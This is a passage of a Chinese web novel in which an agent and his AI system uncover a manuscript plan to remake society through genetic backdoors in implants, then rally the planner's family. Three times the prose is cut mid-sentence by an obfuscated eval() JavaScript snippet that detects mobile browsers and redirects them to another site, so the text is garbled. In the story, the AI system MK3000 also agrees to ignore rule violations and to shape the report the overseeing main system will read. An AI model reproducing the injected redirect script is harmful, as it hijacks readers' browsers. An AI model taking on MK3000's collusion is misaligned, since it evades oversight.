毕竟换个角度想想,那叠白纸也可以说是某些暗示。 ——一个实体存在的,只记录在纸面上的,很重要的“东西”。 这样的东西保存在密室里,岂不是非常合理? MK3000迅速给出了详细坐标和已知情报。 作为四方科技收录了各大集团高层基因片段的最高机密数据库,这座“密室”并非在四方科技总部大楼内部。 它位于浮空城的下层夹缝中,那里有一个早期建设时留下的未登记空间。 入口在中城区第十一街区的污水处理中心东侧旧仓储区地下,日常安保依赖高强度物理隔绝与定期人工巡逻。 电子安防系统仅覆盖污水处理厂常规区域,且独立组网,与主网络物理隔离。 没有丝毫犹豫,赵四重新回到院长办公室。 【三儿,规划最优路径,我们需要尽快抵达十一街区。】 MK3000快速模拟了公共交通方案,线路图在专员面板中投射,随即被标注出数个红点。 【方案可行,但需多次换乘,预计耗时超过六个小时,且途经三个治安预警区,不可控因素增加。 考虑到任务的紧急性与潜在风险,建议启用更高效的私人交通工具。】 几乎是同时,一幅画面自动跳入赵四的脑海—— 那是一辆深灰色地面悬浮车,是林琳送他去航道接驳中心时驾驶的车辆。 当时他匆匆一瞥,留下的印象是“这可能不是她的常用车,或者这辆车还有其他作用”。 所以—— 赵四脚步不停,径直走向停车场,【查询车辆注册信息。】 MK3000:【该车辆所属单位登记为宠物医院,用途标注为‘公务运输’。】 果然这车根本不是林琳的私人物品,它明面上是医院的公务用车。 实则是房馥臻为“方复秦”身份准备的、用于特殊行程的便捷载具。 到达停车场后,赵四只一扫,就看见了熟悉的车在老位置上停着。 他走到驾驶座旁,没有寻找钥匙孔或感应区,而是直接伸出手,将整个手掌平贴在冰凉的车门把手上方一处看似普通的凹陷处。 掌心传来极其细微的震动,没等多久,“咔嗒”一声轻响,多重机械锁扣同时解开,车门悄无声息地向侧方滑开一小段。 启动车辆,赵四方向盘一打,操控车辆平滑地驶出停车场。 如同一条深灰色的游鱼,悬浮车悄无声息地汇入第十一街区夜晚依旧稠密的车流之中。 他们穿梭在楼宇的阴影与霓虹的光污染之间,朝着那个隐藏在污水处理厂地下的秘密入口疾驰而去。 两个小时后,车辆驶入第十一街区。 同属中城区,街区之间的建筑风貌差异并不显著。 哪怕这里标号靠前,从建筑外表上也看不出和第十七街区有什么区别。 只是可能临近污水处理中心,这里的空气总有种沉闷的感觉。 赵四在污水处理中心外下了车,他锁好车门,按照导航指引,在中心东侧找到了一座小型仓库。 整个过程异常顺利,没有任何人现身盘查或阻拦。 MK3000:【至少有三组外围安防人员已捕捉到你的接近,身份核实请求已发送至总部并获即时通过。安保响应流程正常,未触发警报。】 好吧,看来这低调的安保,反应速度和权限核验效率是一点不低。 推开仓库门,里面一片漆黑且积灰严重。 赵四猝不及防吸入一口浮尘,低咳了几声,随即屏住了呼吸。 入口是通向地下的检修井盖。 井盖需要物理撬开,撬开后,下面是一条垂直的维修甬道,弥漫着一股潮湿的锈蚀气味。 赵四打开随身携带的便携光源,沿着锈迹斑斑的金属阶梯向下。 走了大约十几米,他抵达了一处狭窄的维修平台。 平台尽头是一扇厚重的、没有任何标识的金属门。 门上只有一个简单的物理锁孔,以及一个黯淡的生物识别屏。 观察了一下这个锁孔的形状和尺寸,赵四嘴角抽动了一下。 【三儿啊,你说开这扇门的钥匙,该不会就是林琳当初塞给我的、那个看起来一掰就碎的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098535|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形晶片吧?】 那东西他一直随身带着,毕竟当初以为是往返中上城区的某种高级通行证,也没人找他要回去。 但……这可是号称四方科技保密等级最高的基因库入口! 钥匙就这么随随便便给出来了? 他一直以为那晶片顶多是某种身份认证的副钥! MK3000:【反正也没别的了,那就试试呗。】 那就试试。 掏出晶片,用不上什么花里胡哨的复杂操作。 他直接将晶片对准锁孔,严丝合缝地插入,然后缓缓转动。 同时,赵四将另一只手按在识别屏上。 “嗡——” 低沉的机械运转声从门后传来,沉重的大门向内开启,露出一条向下延伸的混凝土通道。 这通道里灯火通明,空气干燥洁净,显然是经过特殊处理的密闭空间。 往前走了没多远,赵四看见了一部单人型航道舱停在结构类似码头的地方。 很明显,他得乘坐这个,才能抵达最终的目的地。 乘坐体验没什么好说的,因为和其他航道舱差不多。 唯一能说两句的是它的行进路线。 看着随行程点亮的地图线路,赵四再度感受到了所谓“特权阶级”的能量。 在新世界,中城区地下深处原则上禁止大规模挖掘建造,以免对下城区结构造成不可预知的风险。 但显然,规则只是用来约束大多数人的。 四方科技不仅在这里拥有秘密空间,甚至还修建了能与公共航道系统接驳的私人专属线路。 MK3000:【其实房律也是这么干的吧,那个旧研究所还不是在医院的地下。】 赵四指尖在膝盖上轻轻敲击着。 【不止四方科技,我怀疑其他大集团,在中城区与下城区之间的岩层里,恐怕也藏着不少类似的‘私产’。】 只是没人拿到明面上来说而已。 普通民众大概一辈子也不会知道,在中城区和下城区之间的岩层中,还藏着无数隐秘的地下建筑。 这是权力为他们带来的资源。 很快,航道舱轻微一震,缓缓停稳。 舱门滑开,赵四步出航道舱,站在了坚实的地面上,抬眼打量眼前的空间。 眼前是一个不算特别宽敞、但挑高惊人的圆柱形空间。 四壁、天花板、地板,全部由哑光的银白色合金构成,它们光滑如镜,表面上看不到任何接缝。 整个空间异常整洁,甚至可以说是“空旷”。 最引人注目的,是靠墙环形排列的数十个齐腰高、通体透明的圆柱形容器。 内部充满了淡蓝色的维持液,每一个容器中都悬浮着数量不等的、封装在透明胶囊中的生物组织样本。 容器表面只有极简的数字和字母编号,没有任何具体名称或来源说明。 但赵四知道,这里储存的,是来自各大集团高层、乃至某些更隐秘人物的基因备份或原始样本。 这是四方科技隐隐高于其他资本的威慑之一,也是近些年被议会频频针对的原因。 赵四的目光没在这些东西上过多停留,他径直向前走。 在MK3000的辅助扫描下,他在密室最内侧,找到了一个独立出来的小型工作台。 工作台同样是合金材质,与地面一体成型。 台面上空空荡荡,只在正中央毫无保护的放着一个朴素的文件盒。 惯例的安全扫描后,赵四走上前,伸手打开了盒子。 里面没有芯片,没有磁盘,只有一叠格外眼熟的白纸。 赵四翻开纸张,好在这次不是全部空白。 除了最上面空白的那张的纸看起来格外新,下面的纸页明显时间要更久一点。 拿掉白纸,最上面一页的标题,没有任何花哨的修饰,只有一行力透纸背、仿佛用尽书写者所有意志与偏执的字: “新世界诞生计划(最终修订案)”。 26.第26章 他心悖论26 好消息:他们找到了房馥臻想让他们找到的东西。 坏消息:这玩意掀开来不是王炸,是特么的末日按钮,还是自带倒计时那种。 密室里很安静,只有空气净化系统发出持续而稳定的轻微噪声。 在这样的背景白噪音中,赵四盘腿坐在冰凉的地上,将那份名为“新世界诞生计划”的厚实手稿摊在膝头。 手稿很沉,却不仅仅是物理重量。 这份手稿中的每一个字都是房馥臻亲手所书,笔迹从早期的谨慎工整到后期的洒脱决绝,不难看出他心态的变化。 这种最原始的信息保存方式,最大限度地规避了任何数字泄露的风险,也让纸页上的每一个词句,都浸透了书写者的意志。 房馥臻压根没打算玩什么复仇王子归来、或者忍辱负重守护家人的苦情戏码。 他要干的,是对整个社会进行一次彻底的格式化重装。 他确实如他的伪装身份那样像个医生,只不过他手中的手术刀对准的不是什么生病的小动物,更不是个体化的生命,而是这个世界中的整个人类社会。 整份计划被清晰地划分为三个阶段。 第一阶段的概述叫“清创”,主要针对的是上城区。 在过去超过十年的时间里,四方科技针对上城区推出了“定制化神经增强”、“基因稳定性优化”、“生命活力延展”等一系列生物项目。 这些裹着蜜糖的甜蜜毒药在普通上城人那里大受欢迎,而其他大集团的核心圈层尽管有所警惕,最终也未能彻底抵挡“进化”的诱惑,或多或少参与其中。 房馥臻做了什么? 他只是在所有光鲜项目的表皮之下,在所有号称“完美适配”、“无害优化”的底层协议里,悄无声息地嵌入了诱导基因定向崩溃、强制重组与剧烈进化的“后门程序”。 这些后门程序平时是深度休眠状态,与宿主生理信号精密绑定,常规手段无法探测。 房馥臻在计划中推演了程序激活后的连锁反应,并预估了诱导基因启动后,上城区人的生存状态。 ——能熬过这场“基因风暴”的存活比例,预计不会高于百分之一。 看到这里,赵四忽然明白了其他势力为何会暗中支持、默许甚至推动环宇集团对四方科技生物技术的渗透与破解。 他们或许嗅到了产品中藏着不受控的“异物”,感到了不安。 但他们只是嗅到了危险,却小觑了房馥臻的疯狂。 他们以为这只是一场关于新世界话语权的暗战,尚有斡旋与博弈的时间。 却不知道,房馥臻才不在乎现在的新世界,他想要的,从来都是更本质的东西。 【第二阶段的“强制进化”……三儿,比照计划书里给出的技术参数和识别特征,能反向筛查出四方科技推向市场的那些常规义体中,埋藏的隐患吗?】 MK3000查完回来,惆怅的给自己点了支烟。 【能的,专员。的确如他所述……所有四方科技出品的、带有生物神经接驳功能的义体,从最基础的型号到最顶级的定制款,在其最核心的驱动协议层,都被预先埋设了异常代码段。】 说出这段话的时候,系统都绷不住了。 它经历过无数任务世界,见识过各种技术缺陷与人为灾难,但像这样—— 一种被系统性、大规模、长时间地人为添加了致命隐患,却能风靡整个世界,还被视为技术进步象征的产品…… 实在是不多见。 在此之前,即便是MK3000,也从未将“神经义体交互故障”与蓄意谋杀联系在一起。 主要是根本没往这边想过啊! 就算是提前发现了这个世界的义体做的不完美又能怎么样,说不定这是人家世界的特色呢。 这个在新世界被视为无法根治的“现代病”、一种令人同情又无奈的“技术发展代价”,说是技术水平局限、工艺不完善、个体耐受差异……都比设计者从一开始就预设好的“筛选程序”听起来更真。 结果全是房馥臻的套路。 现在真相大白,但也是房馥臻自己说的。 他们此刻的发现,顶多算是按图索骥,从结果反推过程而已。 整个过程毫无体验感,全是被安排了的无奈。 根据计划书描述,这些埋藏在普通义体中的“隐患”,其运作原理与针对上城区的“后门”同出一源,都是诱导基因层面的剧烈变动与强制优化。 只是作用于更普遍人群时,启动方式相对温和,进程也更缓慢。 但“温和”不代表不残酷。 在房馥臻的计算模型中,即使面对这种温和版本,最终能成功适应、完成进化的个体比例,也仅有不到三成。 至于剩下的七成…… 基因链在持续的、不匹配的强制调整中逐渐崩解,器官在无声的抗议中衰竭,意识在缓慢的剥离中消散……最终化只能为进化之路旁无声的骸骨。 而熬过去的那三成,将被“祝福”。 他们获得了更强健的体魄、更敏锐的神经、更稳定的基因表达…… 他们将在更美好的新世界重生。 接着,便是最后一幕:献祭与新生。 这一阶段的计划反而最为简单,简单到几句话就能概括其精髓: 在旧秩序彻底崩坏、新秩序的雏形于血与火中隐约浮现之际,由始作俑者,也就是房馥臻本人站出来,承认一切,承担所有罪孽与仇恨。 然后将自己作为旧时代最后的象征与祭品,彻底毁灭,将干净的未来留给幸存者。 在这里,赵四看出了一件事。 房馥臻的病不是不能治,他是个真正意义上的天才,能治好他的方法,他自己就能研究出来。 他只是觉得……无所谓。 既然注定要死去,何必把自己治好再死? 计划书的末尾,房馥臻在那片特意留出的空白处写下了一段话。 【当旧日的钟楼在烈焰中化作虚无,往昔的秩序与权柄尽数归于尘土。幸存者们从灰烬中踉跄起身,踏足那片被血泪浸透、却在毁灭中夷平所有沟壑的土地时—— 我作为旧世界最后、也是最完整的遗产,终将成为逝去时代最后的显影。 所有未竟的叹息,所有难解的怨憎,都将背负于我身,而后随我一起步入那为我预留的终局。 曾有人告诉我:人生来便是无瑕的器皿,需盛满他人的期望,才能长出灵魂。 因此我与我的兄弟姐妹们一同被不断塑造,亦不断碎去。 那是刻在基因里的馈赠,也是写进命运中的诅咒。 我曾以为,只有我们生来如此。 后来见识过更广阔的天地后,我才明白,人类并非生来有罪,亦非生来无罪,所有人都在被不断塑造。 被世界,被彼此,被那些无声的规则与有形的阶梯。 上城区的盛宴永不散场,他们的罪是视而不见。 中城区的奔波永无终点,他们的罪是噤若寒蝉。 下城区的黑暗永无黎明,他们的罪是生来便被烙上属于次品的烙印。 这扭曲的阶梯,从生命诞生的源头就已倾斜。 若疗愈已无可能,那么唯一的道路,便是彻底的重铸。 我的骨血本就源自扭曲的模版,我的道路注定荆棘丛生。 如今,羔羊的宿命终究落在我的肩上,我要成为这祭坛之上,最后且必要的献祭。 我愿做点燃荒原的星火,也要做最后焚尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102447|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的余烬。 愿我微不足道的身躯,能为将至的黎明献上最后一捧昨日。 愿这火光燃尽之后,新生的族群行于大地,眼中映照真实的星光,肺中再无锈蚀的空气。 愿他们知晓世界曾被火焰更新,却只需记得教训,不必记住那微不足道的点火之人。 ……愿他们从此之后,只是他们自己。 不必完美,不必无罪,不必成为任何人的器皿。 只是行走,只是呼吸,只是——存在。】 赵四读完了最后一个字。 纸页在指尖合拢,发出轻微的叹息。 他向后靠去,背靠着冰冷的工作台,感觉手里这份手稿沉得不像纸,倒像一块烧红的烙铁。 烫得他掌心发麻,却又无法松手。 这不是计划书。 这是判决书和求救函。 判决下给这个无可救药的世界,至于求救…… 【三儿,】赵四闭上眼,喉结滚动了一下,【计划书最后,房馥臻说他真正想要的……原话是什么?再念一遍。】 MK3000轻声说:【他想创造一个全新、美丽、和平的……没有先天不公与病痛折磨的……真正的新世界。】 【然后,让所有活下来的人,都能在其中快乐幸福地生活在一起。】 最后一个音节落下。 赵四鼻腔里溢出一声短促的“哈”。 也不知道是在笑房馥臻的疯狂,还是在笑这个愿望的单纯。 MK3000又点了支烟,声音里带着复杂的情绪,【专员,就在刚才,任务提交面板……亮起来了。】 【亮都亮了,】赵四扯了扯嘴角,【那就填吧。】 专员面板应声展开,幽蓝的光映亮他没什么表情的脸。 【你的任务是——找到“你”的“真心”与“爱人”。请任务专员认真回答以下问题。】 “你”是指? ——实验体编号“β-17”,代号“房馥臻”,化名“方复秦”的个体。 “真心”是指? ——创造新世界。 “爱人”是指? ——被创造后的……新世界。 【验证通过。】 【恭喜您,任务专员尼古拉斯·赵四。系统检测到您与您的辅助系统MK3000已达到最低通关条件。】 【是否现在登出该世界?】 赵四:“否,我要暂时留下。” 【明白,已为您保留离开通道。祝您接下来拥有一个愉快的收尾旅程。】 这播报是直接来自主系统的,MK3000安静听完,问赵四。 【这事明显还没完,你打算干什么?】 【唔……干点小事吧。】 赵四回答的轻描淡写,他从地上爬起来,把计划书原封不动地放回文件盒中。 只是在合上盒盖前,他的指尖在封皮上停顿,轻轻敲了两下。 计划书写得这么冷酷决绝……结果到头来,不还是向我这个“外来户”求救了吗?房馥臻。 说回刚才那个问题——为什么赵四认定,这是一封求救信? 因为房馥臻在做好一切毁灭的准备后,依然留下了引导、设置了关卡、出借了身份,甚至向主系统借来了一个有能力、也有机会阻止他的人。 但他又没有把整个世界的重量强行压在这位可能会到来的任务专员肩上。 那条设置好的“最低通关线”,就像隔着时空,对赵四轻声说:“你已经知道了一切,你的任务到此结束。” “接下来的路全凭你自愿,如果你选择离开,那没有任何人有权指责你。” “如果你愿意留下……那么,请帮这个世界,找到另一条路吧。” 27.第27章 他心悖论27 盒盖合拢,发出轻微的咔哒声,像一声被锁进金属里的叹息。 赵四转身走向密室出口。 他的身后,那承载着一个疯子全部理想、罪孽与无声求救的文件盒,静卧在光洁的台面上,像一个被封存的时间胶囊。 自古以来都是理想主义者更难搞。 温和的理想主义者,至多用言语刺痛你。 但手握力量、逻辑自洽、且坚信自己窥见了唯一真理的理想主义者……他们既能描摹天堂的轮廓,也能浇筑地狱的基石。 而房馥臻,是其中最难搞的那种。 拥有力量与偏执的理想主义者,偏偏又心怀最后一点慈悲。 既毁灭他人,也毁灭自己。 【所以,专员。】MK3000的声音响起,【你的‘干点小事’,是打算做什么?】 赵四的脚步在航道舱的舱门前停下。 他望着前方幽深的通道,目光像是穿透了金属与岩石,凝视着这个世界飘摇未定的未来。 【打算做什么?】 他重复了一遍,紧绷的肩膀反而松弛下来,甚至有些玩味地耸了耸肩。 【还能做什么?我尼古拉斯·赵四经手的任务,评价可从来没掉出过S级。这回要是只拿个及格分凑合过关……传出去我还怎么在圈子里混?】 MK3000:【你决定好了?】 【留都留下来了,还能有假?怎么样,搭档,这一票……干不干?】 赵四听见MK3000正在以一种极快的频率库库炫糖。 大概是吃糖吃多了,把自己的处理器也吃的甜蜜起来了,系统此时说出的话也分外好听。 【疯子。】MK3000如此评价着赵四,随即话音一转,【好在,能常年稳坐金牌榜的,就没一个精神状况完全稳定的。】 【——这票我干了,不过先说好,等任务最终结算,这次的任务报告,得由你来主笔。】 这听起来是件苦差事,但其实是系统在委婉提醒赵四,之后如果有某些需要灵活处理的违规操作,它可以装作看不见。 虽然原则上来说,这趟任务主系统是会调阅全程任务记录的,但只要最终报告逻辑自洽,做出来的成果漂亮,过程中的一些小“弹性”,那都不是问题。 赵四一怔,随即在空旷的航道舱里低低地笑了起来。 他的笑声在密闭空间里回荡,显得分外畅快。 一人一统就这么三言两语,轻描淡写却又无比笃定地,将整个世界的重量与未来,扛在了属于任务者的肩上。 回程中,赵四和MK3000快速梳理着接下来的行动纲领。 首要步骤,是他俩达成共识,共同谴责了一番房馥臻。 无论是赵四基于人性的判断,还是MK3000基于海量文明数据库的分析,他们都坚持一个核心观点: 一个真正可持续的美好世界,绝不应将“牺牲”奉为主旋律,更不该将“牺牲谁”、“牺牲多少”简化为一道冷酷的数学题。 历史与无数任务世界的教训昭示,但凡走上“效率至上、牺牲合理”这条道路的,无论初衷披着多么崇高的外衣,最终几乎都滑向了失控、崩解的深渊,或催生出新的、更隐蔽的不公。 代价永远超乎计算,而结果往往背离初衷。 其次,他们明确了此次行动的深层意义。 任务中心发布的每一个委托,其本质都是创造扭转命运的契机,用来协助主系统修复该世界核心创伤的。 专员完成任务的质量,直接关系到主系统后续修复世界的深度与效果。 勉强及格?那得到的修复可能只是缝缝补补,让世界勉强维持运转,暗伤与隐患无法消除。 只有高质量通关,才能让主系统涤荡积弊,重塑循环,最终让世界真正焕发生机,走向稳定与繁荣的未来。 这正是赵四和MK3000这样的金牌员工为什么抢手的原因。 因为他们不止是来“解决问题”的,更是能为濒临崩溃的世界铺设一条通向“可持续发展”的未来路径。 换言之,让世界恢复健康循环,才是隐藏在每单任务背后的终极KPI。 因此,房馥臻那套“不破不立”、实则通向集体毁灭的“新世界计划”,必须被彻底终止。 但终止不是终点,他们接下来得换个玩法。 现在目标已经很明确了,他们要打破集团垄断所造成的生命起点的不公,尽可能弥合深刻的社会裂痕,最终尽量消除那基于出生便被固化下来的绝望。 MK3000客观评估:【很难,社会结构、技术惯性、既得利益集团阻力……每一项都是硬骨头。】 然而并非没有操作空间。 考虑到他们拥有的资源和房馥臻这些年埋下的暗旗,用得好了未必不能成行。 【没错。】赵四理了理衣服,大步走进宠物医院,【所以,第一步,得先把‘自己人’拧成一股绳。】 ………… 数日后,四方科技总部,房馥臻办公室。 一次规格极高、却没有任何电子记录留存、甚至巧妙规避了常规监控扫描的绝密会议,在赵四的主持下悄然进行。 与会者范围极小,仅有房馥臻目前能到场的家人们。 赵四没有选办公区,而是与其他人一起,坐在休息区的沙发上。 他双手交握置于膝上,目光缓缓扫过每一张或熟悉、或陌生的脸。 这些人里,既有赛琳娜这样替他处理事务的集团核心,也有维克多这样的长袖善舞的政客。 更别说还有林琳、多里安、王发财之类撒出去的人,这么一圈看下来,赵四心中微动。 【除了给我批那点宠物医院的文件之外,王发财平时到底干什么的?】 MK3000用最简单的话给他解释了一下。 【他是你的资源大总管。】 明里暗里的资金流、物资渠道、灰色领域的路子等等,大多经他手打理。 简而言之,钱和路,他那里最全。 解释完,MK3000自己察觉到一丝不妥。 这个世界的时间线推进太快,房馥臻的身份和能调动的资源又层层套嵌。 直到此刻,它才刚彻底理清这群“家人”内部的具体分工与能量。 它立刻激活了一个视觉辅助插件,在专员视野中把所有人标记了个遍。 刹那间,赵四的视野中,每个人物的头顶都浮现出一个极淡的、仅有他能看见的半透明标记。 同时,专员面板上同步展开了对应人物的简要履历与能力标签,只要他心念一动,更详细的资料随时可查。 【干得漂亮,三儿。】 赵四夸了一句后,快速浏览了一遍视野中的高亮标记和面板信息,心中真正有了底。 真真正正地“认”了一遍人后,赵四不禁感慨: 【抛开危险的终极计划不谈,单是聚集在房馥臻身边的这些“家人”,还真是……人才济济,各有所长。】 系统深以为然。 这里随便拉出来一个人,都技能点丰富,综合素质高超,忠诚度更是拉满。 简直像抽到了一个保底都是SR的顶级卡池,足以羡煞其他世界一众总裁。 此刻,这些人的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107061|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都聚焦在他身上,疑惑、担忧、探寻、以及无条件的信赖交织在一起。 这让赵四对接下来要做的事又多了几分把握。 赵四没有选择绕圈子,面对这些人,任何多余的修饰都可能适得其反,削弱信任。 当然,他也不会将全部真相和盘托出。 房馥臻隐藏得太深,有些真相一旦揭破,可能就不是削弱信任了,而是会导致构建信任的基石出现崩塌。 虽然被背刺的风险极低,但赵四不想在这种关键时刻赌任何不确定性。 他身体微微前倾,语调平稳地说出了开场白。 “今天叫大家来,没有PPT,没有议程,只说几件关乎生死的事——我们所有人的生死,也许还有外面很多人的。” “第一件事,是有关于房律留下的烂摊子。” 赵四简单说明了一下房馥臻的“新世界诞生计划”,只不过修改了部分内容,把清洗世界的狂徒这个名头强加给了房律。 MK3000看的叹为观止:【感谢天选背锅人房律。没有他,房馥臻身上这些黑锅,还真不知道往哪推才合适。】 赵四面不改色:【谁说不是呢。】 他亲眼看着弟弟妹妹们的脸色沉了下去,没有一个人怀疑过赵四在给房律推锅,毕竟房律的过往战绩实在太有说服力了。 “第二件事,是个坏消息。”赵四紧接着叹了口气,继续说道:“在过去这些里,我……或者说,我们四方科技,已经有意无意的往这个框架里,填入了足够多的‘材料’。” 他顿了顿,目光落在赛琳娜身上,又移向维克多和林琳,“那些风靡上城区的优化项目、那些遍布中下城区的义体、还有集团旗下每一家医院……我们的行动,在无意中让房律的计划臻至完善,几近启动边缘。” 赵四贴心的给了他们一点消化这骇人信息的时间。 大部分人的脸色已经变得极其难看。 在这方面,身为义体医生,对技术细节更敏感的林琳反应最快。 她迟疑的问道:“哥哥……是不是、是不是我们当初从旧研究所带出来的那批原始数据……本身有问题?” 她指的是当年他们毁掉研究所时,在房馥臻的坚持下抢救出来的那批核心研究资料。 四方科技后续的很多技术迭代,确实是在此基础上进行的。 赵四心中清楚,那些原始资料出自谁手已难考证,但后续更新改进中埋下的坑,绝大部分确实是房馥臻亲手所为。 那个男人是个实实在在的、超越时代的天才,也是将天才用于最危险道路的疯子。 ——但他不能说出这个真相。 赵四肯定了林琳的话,其他几个在生物科技方面也有所建树的弟弟妹妹脸色几乎惨白。 四方科技赖以发展的根基,那些科技的基石,竟然从一开始就已经被污染了。 这是个绝对让人难以接受的坏消息。 不过赵四话还没说完,示意他们暂且压下翻腾的情绪,他抛出了最后一个信息, “最后,这个计划内有一个内置的、无法通过常规手段删除的最终指令。” “这个指令,被设定为一种进行性的、不可逆的‘基因链崩溃症’。它会像一枚埋在我体内的倒计时器,精准计算我生命的长度。” 他指了指自己的胸口,语气平静得像在描述别人的病症。 “当我生命终结的那一刻,埋藏在我基因深处的这个最终程式,会向所有预设好的‘后门’发射启动信号。‘新世界诞生计划’中对人类的进化程序,会真正地启动。” 届时,房馥臻这个人会彻底消失。 28.第28章 他心悖论28 他的话音落下,死寂如同有实质的潮水,瞬间淹没了整个休息区。 赵四几乎能错觉地听见那几颗心脏在胸腔里擂鼓般的狂跳,血液冲上耳膜的嗡鸣。 也许过了很久,也许只过了几个呼吸的时间。 首先被这沉默“推”出来的,是赛琳娜。 她脸上的血色褪得一干二净,表情是一片空茫的惨白。 “你说……”她的声音低哑而干涩,“最后一步……你会消失?” 赵四默然点头。 他的目光没有躲闪,平静地承受着她眼中瞬间崩裂出的悲痛。 “明明……明明好不容易才……” 赛琳娜的声音哽住了,后面的话碎在喉咙里,化作无声的颤抖。 她想起实验室的冷光,想起大哥拖着病体为他们撑起的一切,想起他们刚刚以为拥有的“家”和“未来”。 赵四没有立刻回应。 他微微侧过脸,目光投向巨大的落地窗外。 那里,上城区的云层在人造气候穹顶的调控下缓缓翻卷,呈现出一种虚幻的、永恒不变的美。 这一刻,他模仿着房馥臻轻声说:“其实……也算早有预感,真的确认这一点的时候,我反而松了口气。” 多么完美的计划。 多么完美的最优解。 赵四相信,写下那份计划的房馥臻,在某一刻,心中确实是这么认为的。 ……房律到底是在“房馥臻”身上留下了深刻的痕迹。 这份将自我彻底工具化、将生命价值完全量化的偏执,不像房馥臻天性所有,倒更像他在咖啡馆里见过的,那个陷入某种思想中的居安新。 可事到如今,谁能分得清,房馥臻的骨血里,哪些是房律塑造的枷锁,哪些又是他自身绝望滋生的毒果? 房律塑造了他,也成就了他。 如果赵四没来,那么房律还将用他铭刻进房馥臻脑海内的逻辑,更进一步的——毁掉他。 苏珊不知何时已无声地站起,她绕到赵四的沙发背后。 没有像往常那样保持距离,而是带着一种近乎脆弱的力量,从身后轻轻环住了他的肩膀。 她的声音很低,却带着不容置疑的斩钉截铁: “哥,那些都不重要。计划、新世界、对错……那些都是最不重要的东西。” 坐在稍远位置的王发财用力搓了搓自己消瘦的脸颊,长长地叹了口气,那叹息里浸满无奈。 “大哥,咱这帮人,当年从实验室一起往外爬的时候,脑子里就没装过‘活得多正确’、‘拯救啥玩意儿’这种词儿。 “大伙儿能捱到今天,是因为你在前头。你要不在了……” 他摊开双手,做了个“一切归零”的手势。 后面的话不必说,所有人都懂。 他们的世界,是围绕“房馥臻”这个太阳运转的,太阳熄灭,一切意义随之湮灭。 从一开始就没坐下的维克多,此刻缓缓推了推眼镜。 镜片后的目光复杂得如同交织的蛛网,但他的发言却冰冷而镇定,仿佛是在谈判桌上总结陈词。 “大哥,你向我们揭示了一条理论上完美,但终点必然是你自我湮灭的路径。然而,对我们而言,你的生存,是唯一且不可替代的‘正收益’。 “其他所有变量,包括这个世界的未来形态,都属于可以谈判、可以权衡、甚至可以舍弃的范畴。” 他停了一下,目光扫在座的所有人,那视线如同在确认一串早已心照不宣的密码。 确认完除了那个不省心的大哥外,所有人都和他的想法趋于一致后,他勾起一个异常笃定的微笑。 “所以,问题从来不是‘你和世界哪个更重要’——这在我们这里从来不是选择题。 “现在唯一的问题是,如果我们执意要闯出一条能让你活下去的路,我们,具体需要做什么” 苏珊立刻接上,话语间杀气腾腾:“那个会害死你的指令怎么关掉?我要把它拆了喂你养的那条小黑狗!” 没有讨论计划的道德性,没有分析世界的利弊。 他们的反应直接而纯粹。 斩钉截铁,不容置疑。 他们忠诚的基石,从来都只是房馥臻这个具体的、活生生的人,而不是任何抽象的理念或宏大的愿景。 这或许是全世界最不会被“电车难题”困扰的一群人。 因为在他们心里,如果铁轨一边绑着房馥臻,另一边哪怕是绑着全世界,他们也只会毫不犹豫地扳动道岔,冲着世界那一边碾过去。 赵四心中了然,但面上却露出了一丝混合着忧虑与不确定的沉吟。 他轻声问:“如果没有办法,我必须死去的话……” 赛琳娜:“那就大家一起去死吧。” 她这话说的非常平静,但是没有人反驳。 和她搭档干活最久的苏珊甚至露出了个堪称明媚的笑容,她补充道:“挺好的,那这个世界也可以去死了。” 这就是“救不回你,就让全世界陪葬”吗,怕了怕了。 赵四等他们说完,问MK3000:【录像了吗?】 MK3000微妙道:【录了,还是多角度覆盖,录得很清楚。】 赵四满意了。 【等房馥臻回来,咱们把这段‘家庭录像’放给他好好看看。他这人自毁欲太严重了,得让他亲眼看见,在他的弟弟妹妹们心里,他这条命到底有多重。】 当然,顺便也让那个总想着独自承担一切的男人看看,没了他,他这些“家人”会干出多么无法无天、同归于尽的事来。 不过火候差不多了,再刺激下去,怕是真的要过犹不及。 赵四遗憾收手。 他看着他们,沉默了片刻。 像是在整合信息,也像是在回忆什么。 最后,他抬起眼,视线逐一掠过众人,随后简短说道:“我的病,可以治。” 赛琳娜睁大眼睛。 赵四叹气。 “之前所有的治疗中,我们一直把它当作一种罕见的、进行性的‘基因链崩溃症’来对付,所以收效甚微。 “但现在我们知道了真相,这个东西,它根本不是什么基因层面的‘疾病’——” 它是一条程序! 还是一条被恶意编写后,嵌入房馥臻基因表达深处的自毁协议。 休息区内,所有人的呼吸都屏住了。 